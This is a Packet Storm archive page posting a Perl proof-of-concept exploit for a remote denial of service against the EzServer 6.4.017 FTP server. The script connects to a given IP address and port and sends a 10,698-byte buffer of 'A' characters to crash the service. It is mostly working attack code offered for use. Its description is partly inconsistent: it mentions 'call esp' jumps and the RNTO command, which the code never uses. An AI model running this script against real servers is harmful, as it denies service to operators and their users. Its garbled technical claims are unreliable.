exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

EzServer 6.4.017 Denial Of Service

EzServer 6.4.017 Denial Of Service
Posted Jan 22, 2024
Authored by Fernando Mengali

EzServer version 6.4.017 remote denial of service exploit.

tags | exploit, remote, denial of service
SHA-256 | 40ce8670718260143aeca22be1ac711053e5e38099e4a63a2f3ae0d2e32e8784

EzServer 6.4.017 Denial Of Service

Change Mirror Download
#!/usr/bin/perl

use IO::Socket;

# Exploit Title: EzServer 6.4.017 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
# Vendor Homepage: N/A
# Download to demo: https://drive.google.com/file/d/1hCYYsWsyeuoHTh3ZosNRbtIBxw0culsu/view?usp=sharing
# Notification vendor: No reported
# Tested Version: EzServer 6.4.017 - Denied of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denied of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... \n";

my $payload = "\x41"x10698;

my $sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "[-] Could not connect!\n";
$sock->send($payload);
$sock->close();

print "[+] Done - Exploited success!!!!!\n\n";

sub intro {
print q {


_/|
// o\
|| ._)
//__\
)___(

[+] EzServer 6.4.017 - Denied of Service (DoS)

[*] Coded by Fernando Mengali

[@] e-mail: fernando.mengalli@gmail.com

}
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " \nUsage: $0 <ip> <port> \n";
exit(-1);

}
}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close